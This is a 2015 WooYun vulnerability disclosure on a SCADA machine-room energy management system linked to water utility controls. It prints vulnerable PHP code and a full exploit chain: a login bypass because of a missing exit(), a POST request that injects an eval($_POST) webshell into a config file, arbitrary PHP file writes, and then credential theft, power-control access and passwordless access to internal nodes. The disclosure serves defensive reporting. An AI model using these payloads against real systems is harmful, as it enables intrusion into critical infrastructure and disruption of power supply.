当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0131500

漏洞标题:某大型SCADA系统绕过登陆可影响多个自来水控制系统机房供电(直接getshell)

相关厂商:cncert国家互联网应急中心

漏洞作者: xfkxfk

提交时间:2015-08-06 11:56

修复时间:2015-11-05 10:58

公开时间:2015-11-05 10:58

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-06: 细节已通知厂商并且等待厂商处理中
2015-08-07: 厂商已经确认,细节仅向厂商公开
2015-08-10: 细节向第三方安全合作伙伴开放
2015-10-01: 细节向核心白帽子及相关领域专家公开
2015-10-11: 细节向普通白帽子公开
2015-10-21: 细节向实习白帽子公开
2015-11-05: 细节向公众公开

简要描述:

绕过登录,直接GetShell

详细说明:

首先来看看登录绕过:
文件/help/php/login.php

<?php
@session_start();
require_once('../xajax/xajax.inc.php');
require_once('../php/setting.inc.php');
require_once('../php/util.inc.php');
$xajax=new xajax();
$xajax->registerFunction('login');
$xajax->processRequest();
echo $xajax->getJavascript('../xajax');
function login($user,$password)
{
global $g_admin,$g_password;
$obj=new xajaxResponse();
$password=encrypt($password,true);
if($user==$g_admin && $password==$g_password)
{
$_SESSION["user"]=$user;
$obj->script("showLoginMessage(true)");
}
else
{
$_SESSION["user"]="";
$obj->script("showLoginMessage(false)");
}
return $obj;
}
?>


这里的用户名密码被硬编码到setting.inc.php文件里面了
当然,当你看到源码后就明白了,这里的弱加密和默认弱口令了。。。
当登录成功后,$_SESSION["user"]=$user;
然后我们来看setup.php文件

<?php
@session_start();
if($_SESSION["user"]=="") header("Location:login.php");
require_once('../xajax/xajax.inc.php');
require_once('../php/setting.inc.php');
require_once('../php/util.inc.php');
require_once('../php/setting.inc.php');
require_once("../../core/dbi/entry.php");
........


这里判断了$_SESSION["user"]=="",但是没有exit(),而是header跳转了
这样的话就跟没判断一样,下面的内容继续执行。
下面我们来看看第一处,第二处getshell了
还是setup.php文件

<?php
@session_start();
if($_SESSION["user"]=="") header("Location:login.php");
require_once('../xajax/xajax.inc.php');
require_once('../php/setting.inc.php');
require_once('../php/util.inc.php');
require_once('../php/setting.inc.php');
require_once("../../core/dbi/entry.php");

$xajax=new xajax();
$xajax->registerFunction('setup');
$xajax->processRequest();
echo $xajax->getJavascript('../xajax');

function setup($setting)
{
$obj=new xajaxResponse();

$language=$setting[0];
$dbType=$setting[1];
$dbCharset=$setting[2];
$dbMode=$setting[3];
$dbService1=$setting[4];
$dbService2=$setting[5];
$dbService1a=$setting[6];
$dbService2a=$setting[7];
$dbUser=$setting[8];
$dbPassword=encrypt($setting[9],true);
$admin=$setting[10];
$password=encrypt($setting[11],true);
$createDb=$setting[12];
$updateDb=$setting[13];
$userFilePath=$setting[14];

$setting=array("g_language"=>$language,"g_dbType"=>$dbType,"g_dbCharset"=>$dbCharset,"g_dbMode"=>$dbMode,
"g_dbService1"=>$dbService1,"g_dbService2"=>$dbService2,"g_dbService1a"=>$dbService1a,"g_dbService2a"=>$dbService2a,
"g_dbUser"=>$dbUser,"g_dbPassword"=>$dbPassword,"g_userFilePath"=>$userFilePath,"g_admin"=>$admin,"g_password"=>$password);
updatePHPSetting($setting);

$setting=array("g_dbType"=>$dbType,"g_dbCharset"=>$dbCharset,"g_dbMode"=>$dbMode,
"g_dbService1"=>$dbService1,"g_dbService2"=>$dbService2,"g_dbService1a"=>$dbService1a,"g_dbService2a"=>$dbService2a,
"g_dbUser"=>$dbUser,"g_dbPassword"=>$dbPassword);
updateDbSetting($setting);
............


注意这里的setup函数,$setting变量是我们传进来的内容
然后通过处理后进入了第一个函数:updatePHPSetting($setting);
跟进updatePHPSetting函数,util.inc.php文件:

function updatePHPSetting($setting)
{
$info="<?php\r\n";
foreach ($setting as $key=>$value)
{
$info.=" \$".$key."='$value';\r\n";
}
$info.="?>";

$fileName="../php/setting.inc.php";
$fileHandle=fopen($fileName,"w");
if($fileHandle)
{
fwrite($fileHandle,$info);
fclose($fileHandle);
}
}


这里看到将$setting参数内容直接写入到了setting.inc.php文件中
从而导致我们可以控制$setting变量的内容,然后写入恶意内容到setting.inc.php文件中
继续往下走$setting还会进入updateDbSetting($setting);,跟进updateDbSetting函数:

function updateDbSetting($setting)
{
$info="<?php\r\n";
foreach ($setting as $key=>$value)
{
$info.=" \$".$key."='$value';\r\n";
}
$info.="?>";

$fileName="../dbi/setting.inc.php";
$fileHandle=fopen($fileName,"w");
if($fileHandle)
{
fwrite($fileHandle,$info);
fclose($fileHandle);
}
}


可见跟上面的原理一样,将$setting参数内容直接写入到了setting.inc.php文件中
下面我们来看看第三处,第四处getshell了
文件/help/php/addTheme.php

<?php
@session_start();
if($_SESSION["user"]=="") header("Location:login.php");
require_once('../xajax/xajax.inc.php');
require_once('../dbi/entry.php');
require_once('../php/util.inc.php');
require_once('../php/setting.inc.php');
$xajax=new xajax();
$xajax->registerFunction('addNewTheme');
$xajax->processRequest();
echo $xajax->getJavascript('../xajax');
function addNewTheme($pid,$depth,$themeType,$shortcut,$themeTitle,$keywords,$themeContent,$fileName)
{
global $g_dbCharset;
$flag=true;
$error="''+LANGUAGE.MESSAGES.errorOccured+':\n'";


//文档内容写入文件
$file=iconv("UTF-8",$g_dbCharset,"../userfiles/file/$fileName");
writeHtmlFile($file,$themeTitle,$themeContent);


首先同样存在登录验证绕过问题
然后就是调用了addNewTheme函数
最后我们可控的参数$file,$themeTitle,$themeContent进入到了函数writeHtmlFile();
跟进函数writeHtmlFile():

function writeHtmlFile($name,$title,$content)
{
require_once("setting.inc.php");
global $g_userFilePath;

$head="<html>\n";
$head.="<head>\n";
$head.="<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n";
$head.="<meta http-equiv=\"Pragma\" content=\"no-cache\">\n";
$head.="<meta http-equiv=\"expires\" content=\"0\">\n";
$head.="<meta http-equiv=\"cache-control\" content=\"no-store\">\n";
$head.="<link type=\"text/css\" rel=\"stylesheet\" href=\"../../css/theme.css\">\n";
$head.="<title>$title</title>\n";
$head.="</head>\n";
$head.="\n<body>\n";
$tail="\n</body>\n</html>\n";

$find=array(
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n",
"<meta http-equiv=\"Pragma\" content=\"no-cache\">\n",
"<meta http-equiv=\"expires\" content=\"0\">\n",
"<meta http-equiv=\"cache-control\" content=\"no-store\">\n",
"<link type=\"text/css\" rel=\"stylesheet\" href=\"../../css/theme.css\">\n",

"<p>\n<meta content=\"text/html; charset=UTF-8\" http-equiv=\"Content-Type\" />\n",
"<meta content=\"no-cache\" http-equiv=\"Pragma\" />\n",
"<meta content=\"0\" http-equiv=\"expires\" />\n",
"<meta content=\"no-store\" http-equiv=\"cache-control\" />\n",
"<link href=\"../../css/theme.css\" type=\"text/css\" rel=\"stylesheet\" /></p>\n",


$g_userFilePath,
"http://".$_SERVER['SERVER_ADDR']
);
$replace=array(
"","","","","",

"","","","","",

"../../userfiles/",
""
);
$content=str_ireplace($find,$replace,$content);

$fHandle=fopen($name,"w+");
if($fHandle)
{
fwrite($fHandle,$head);
fwrite($fHandle,$content);
fwrite($fHandle,$tail);
fclose($fHandle);
}
}


从这里可以看出,将参数$content的内容经过处理后,写入到了$name文件中
$name和$content参数我们都可控,导致我们可以写任意内容到目录下任意文件了
第四处getshell在文件/help/php/modifyTheme.php文件

<?php
@session_start();
if($_SESSION["user"]=="") header("Location:login.php");

require_once('../xajax/xajax.inc.php');
require_once('../dbi/entry.php');
require_once('../php/util.inc.php');
require_once('../php/setting.inc.php');
$xajax=new xajax();
$xajax->registerFunction('modSelTheme');
$xajax->registerFunction('getThemeContent');
$xajax->processRequest();
echo $xajax->getJavascript('../xajax');
function modSelTheme($id,$pid,$depth,$themeType,$shortcut,$themeTitle,$fileName,$keywords,$themeContent,$birthday,$newFileName,$sequence)
{
global $g_dbCharset;

$flag=true;
$error="''+LANGUAGE.MESSAGES.errorOccured+':\n'";
//删除旧文件
$file=iconv("UTF-8",$g_dbCharset,"../userfiles/file/$fileName");
if(file_exists($file)) deleteFile($file);
//将文档内容写入新文件
$file=iconv("UTF-8",$g_dbCharset,"../userfiles/file/$newFileName");
writeHtmlFile($file,$themeTitle,$themeContent);


可以看到跟第三处的基本一样,都是:
writeHtmlFile($file,$themeTitle,$themeContent);
这里造成的问题,导致我们可以写任意内容到目录下任意文件了

漏洞证明:

第一处setup.php:
因为$userFilePath=$setting[14];还最后一个参数值
我们提交如下内容:

POST /help/php/setup.php HTTP/1.1
Host: *.*.*.*
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Method: POST http://*.*.*.*/help/php/setup.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://*.*.*.*/help/php/setup.php
Content-Length: 1736
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
xajax=setup&xajaxr=1438651400054&xajaxargs[]=%3Cxjxobj%3E%3Ce%3E%3Ck%3E%3C!%5BCDATA%5B0%5D%5D%3E%3C%2Fk%3E%3Cv%3E%3C!%5BCDATA%5Bzh-cn%5D%5D%3E%3C%2Fv%3E%3C%2Fe%3E%3Ce%3E%3Ck%3E%3C!%5BCDATA%5B1%5D%5D%3E%3C%2Fk%3E%3Cv%3E%3C!%5BCDATA%5Boracle%5D%5D%3E%3C%2Fv%3E%3C%2Fe%3E%3Ce%3E%3Ck%3E%3C!%5BCDATA%5B2%5D%5D%3E%3C%2Fk%3E%3Cv%3E%3C!%5BCDATA%5Bgbk%5D%5D%3E%3C%2Fv%3E%3C%2Fe%3E%3Ce%3E%3Ck%3E%3C!%5BCDATA%5B3%5D%5D%3E%3C%2Fk%3E%3Cv%3E%3C!%5BCDATA%5B0%5D%5D%3E%3C%2Fv%3E%3C%2Fe%3E%3Ce%3E%3Ck%3E%3C!%5BCDATA%5B4%5D%5D%3E%3C%2Fk%3E%3Cv%3E%3C!%5BCDATA%5Bdbs1%5D%5D%3E%3C%2Fv%3E%3C%2Fe%3E%3Ce%3E%3Ck%3E%3C!%5BCDATA%5B5%5D%5D%3E%3C%2Fk%3E%3Cv%3E%3C!%5BCDATA%5Bdbs2%5D%5D%3E%3C%2Fv%3E%3C%2Fe%3E%3Ce%3E%3Ck%3E%3C!%5BCDATA%5B6%5D%5D%3E%3C%2Fk%3E%3Cv%3E%3C!%5BCDATA%5Bdbs1a%5D%5D%3E%3C%2Fv%3E%3C%2Fe%3E%3Ce%3E%3Ck%3E%3C!%5BCDATA%5B7%5D%5D%3E%3C%2Fk%3E%3Cv%3E%3C!%5BCDATA%5Bdbs2a%5D%5D%3E%3C%2Fv%3E%3C%2Fe%3E%3Ce%3E%3Ck%3E%3C!%5BCDATA%5B8%5D%5D%3E%3C%2Fk%3E%3Cv%3E%3C!%5BCDATA%5Bxopens%5D%5D%3E%3C%2Fv%3E%3C%2Fe%3E%3Ce%3E%3Ck%3E%3C!%5BCDATA%5B9%5D%5D%3E%3C%2Fk%3E%3Cv%3E%3C!%5BCDATA%5Bytdf000%5D%5D%3E%3C%2Fv%3E%3C%2Fe%3E%3Ce%3E%3Ck%3E%3C!%5BCDATA%5B10%5D%5D%3E%3C%2Fk%3E%3Cv%3E%3C!%5BCDATA%5Broot%5D%5D%3E%3C%2Fv%3E%3C%2Fe%3E%3Ce%3E%3Ck%3E%3C!%5BCDATA%5B11%5D%5D%3E%3C%2Fk%3E%3Cv%3E%3C!%5BCDATA%5Badmin%5D%5D%3E%3C%2Fv%3E%3C%2Fe%3E%3Ce%3E%3Ck%3E%3C!%5BCDATA%5B12%5D%5D%3E%3C%2Fk%3E%3Cv%3E%3C!%5BCDATA%5Bfalse%5D%5D%3E%3C%2Fv%3E%3C%2Fe%3E%3Ce%3E%3Ck%3E%3C!%5BCDATA%5B13%5D%5D%3E%3C%2Fk%3E%3Cv%3E%3C!%5BCDATA%5Bfalse%5D%5D%3E%3C%2Fv%3E%3C%2Fe%3E%3Ce%3E%3Ck%3E%3C!%5BCDATA%5B14%5D%5D%3E%3C%2Fk%3E%3Cv%3E%3C!%5BCDATA%5B%2Fhelp%2Fuserfiles%2F%27%3Beval%28%24_POST%5B%27helloworld%27%5D%29%3Becho%20%27%5D%5D%3E%3C%2Fv%3E%3C%2Fe%3E%3C%2Fxjxobj%3E


我们将$userFilePath=$setting[14]=/help/userfiles/';eval($_POST['***']);echo '
这样就可以写入一句话到setting.inc.php中了

a.png


第三处getshell,addTheme.php文件
这里在提交内容时,我们只关心最后两个参数值,一个为content,一个为filename:
xajaxargs[]=<?php phpinfo();?>&xajaxargs[]=***.php
这样我们就可以写入<?php phpinfo();?>到***.php文件中了
当然你写什么,写到那个目录都是可以的

b.png


拿到webshell后,想干什么就干什么咯
下面紧给出页面截图,没有进行任何功能操作
拿到shell后,读取/help/php/setting.inc.php文件
拿到admin和password,然后可以在这里登录:
http://*.*.*.*/help/php/login.php

c.png


这里是系统配置文件。
拿此用户名密码直接登录前台:
http://*.*.*.*/index.php,如某机房能源管理系统:

d.png


来看看系统管理模块的内容:
http://*.*.*.*/modules/manage/,泄露各种信息

e.png


因为这是机房能源系统,所以可以控制机房的能源情况,比如这里可以禁止,开放,终止,恢复各个机房的能源情况

f.png


这里可以利用泄露的信息直接登录目标主机
网段内存活的主机:

j.png


主机数据库:

g.png


这里的主机应该是总服务器,可以管理多个节点
这里在登录sysmgr时,需要用户名密码,用户名为admin,但是密码不知道,奇葩的时,你把鼠标放到输入框,会提示按F2可以修改密码,而且可以绕过旧密码直接修改新密码,成功登录管理控制台

h.png


这里可以看到有三个节点,一个是这里的本机10.1.3.190,10.1.3.189,10.1.3.191

i.png


远程一下这些节点,更有惊喜,不需要密码直接登录了。。。

k.png


l.png


上述截图紧做证明,未进行功能操作

修复方案:

1、加强登录用户名密码的加密算法
2、登录验证失败后exit()
3、在写入内容到文件时,判断写入内容合法性已经写入的文件类型
等等

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2015-08-07 10:56

厂商回复:

CNVD确认所述情况,已经转由CNCERT下发给江苏分中心,由其后续协调网站管理单位处置。

最新状态:

暂无